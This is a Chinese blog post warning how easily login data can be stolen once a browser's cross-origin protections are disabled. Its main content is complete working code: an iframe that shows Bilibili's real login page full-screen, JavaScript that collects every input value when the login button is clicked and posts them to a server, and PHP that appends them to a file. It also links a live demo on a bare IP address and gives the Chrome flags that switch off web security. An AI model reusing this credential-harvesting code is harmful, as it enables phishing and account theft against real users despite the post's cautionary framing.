这次我们来看看解除浏览器跨域限制是有多么容易被盗取信息。
最开始遇到跨域的时候，那时候还是一个懵懂的椎风少年。。那时候和一个朋友一起开发一个网站，由于他那时候在深圳，我在上海。利用的是他的云服务器进行开发，结果我前端上怎么都不能获取到他给我的网站返回的信息。查了一堆资料才发现是跨域问题。又找不到解决办法，最后还是用
nginx来解决的跨域。。想想还真是凄惨。
_如果还有不了解什么是同源，什么是跨域的，刚好前几天我在简书里看到了一个人发表的文章说的是这个，这里直接甩个链接。想了解的可以去看看。希望那位博主不要打我。
<a target = "blank" href="http://www.jianshu.com/p/beb059c43a8b" >前端必备HTTP技能之同源策略详解</a> ←点击跳转。
这里我们来假设一个环境
- 首先我们的浏览器是跨域的。
- 然后我们打开了平时我们经常登录的网站。
- 由于是我们经常打开的网站，所以也不会太去关注URL,当然也有人根本就不看URL的；
- 然后网页和我们平时打开的网站没啥区别，没毛病。
- 最后我们登录自己的账号密码，好了。被盗了。。
当然只要平时电脑玩的多的人，一般都不会上这样的当。所以我们这里的目的只是为了举一个简单的例子来让大家了解一下。还是那句话，遨游在网络的世界，防范的再安全都不为过。
这里来分析一下具体实现
- 首先我在HTML里面写一个iframe标签，里面嵌套某个网站。这里为了简洁，我们直接用的登录页面。
- 其实我本来是想用简书的登录页面来实验的。结果简书这网站不让别人用iframe嵌套。绝，真绝了。。
- 然后我就打开了我敬爱的大B站。因此这里是用的B站的登录页面做示例。
- 修改iframe的样式，让其铺满整个屏幕，看起来就和原来的网站没有什么区别了。
- 获取iframe内部的document对象。
- 有了document对象，我们就能操控登录按钮了，在你点击登录的时候，拿到所有的input标签中的值。
- 通过AJAX发送到自己的后台代码，然后写入到一个文件里。
代码部分：
- HTML
利用iframe导入一个网址即可
<iframe src="https://passport.bilibili.com/login" frameborder="0" id="iframe"></iframe>
- CSS
CSS在这里的目的只是让iframe全屏显示而已。
```
html,body{
margin: 0;
padding: 0;
height: 100%;
overflow: hidden;
}
iframe{
width: 100%;
height: 100%;
}
3. JS部分
> 主要就是负责获取到iframe中的document对象，然后进行dom操作而已
window.onload = function(){
// 获取iframe的元素
var iframeObj = document.querySelector('#iframe');
var iframeDocument = iframeObj.contentWindow.document;
// 获取登录按钮的
var login = iframeDocument.querySelector('input[type=submit]');
login.onclick = function(){
// 创建一个空对象
var info = {};
// 遍历所有的input标签
var input = iframeDocument.querySelectorAll('input');
for (var i = 0; i < input.length; i++) {
// 将数据放入一个对象中
info[input[i].name] = input[i].value;
}
console.log(info);
// 现在就有了input里面的所有数据了
// 这时候发送一个ajax请求给自己的服务器
// 创建一个异步对象
var xhr = new XMLHttpRequest();
// 设置method和url
xhr.open('post','login.php');
// 设置content-type
xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');
// 监听状态
xhr.onreadystatechange = function(){
//请求完成且找到网站
if(xhr.readyState == 4 && xhr.status == 200){
console.log(xhr.responseText);
}
}
// 发送请求
xhr.send('info='+JSON.stringify(info));
// return false;
}
//console.log(iframeDocument);
}
4. PHP部分
> 主要是用来将获取到的文件写入文本中
<?php
$info = $_POST['info'];
print_r($info);
// 写入文件
file_put_contents('info.txt', $info.PHP_EOL,FILE_APPEND);
echo "ok";
?>
这里给个链接，有兴趣的可以点进去玩玩。
<a target = "_black" href="http://139.199.6.43/copyBILI/login.html" >利用iframe嵌入的BILIBILI的登录页面</a>
<a target = "_black" href="http://139.199.6.43/copyBILI/login.txt" >查看刚刚自己输入的值</a>
或者直接修改url最后的`login.html`为`login.txt`
当然，你的浏览器必须先接触跨域才能这么玩。。
至于解除的办法，chrome浏览器的话，看下图。其他浏览器的话，请自行百度吧。我并没有研究。。。
在你的chrome上右键=》属性，然后在目标的最后，敲上一个空格，再把--args --disable-web-security --user-data-dir 这一坨复制上去。
###### *注意：进入浏览器的时候会给你一个提示，告诉你有安全问题，玩完之后记得删掉后面这串。*
例子虽然比较简单，但是应该还是表达出了我想说的。。
#### 结语：
1. 在自己不熟悉浏览器的某些安全机制的时候，不要去随意的改动。
2. 实际开发中，我们不得不面临着需要跨域的时候。解决跨域的方法也有很有，之前提到的那个博主的那篇博文里面都有写。感兴趣的可以去看看，而且跨域问题面试的时候也经常被问到。
3. iframe嵌套进来的网站可以正常运行，登录什么的都没毛病。。要是点网站进去玩的时候，千万记得不要真登录了。。随便敲点数据玩玩就行了。
网友评论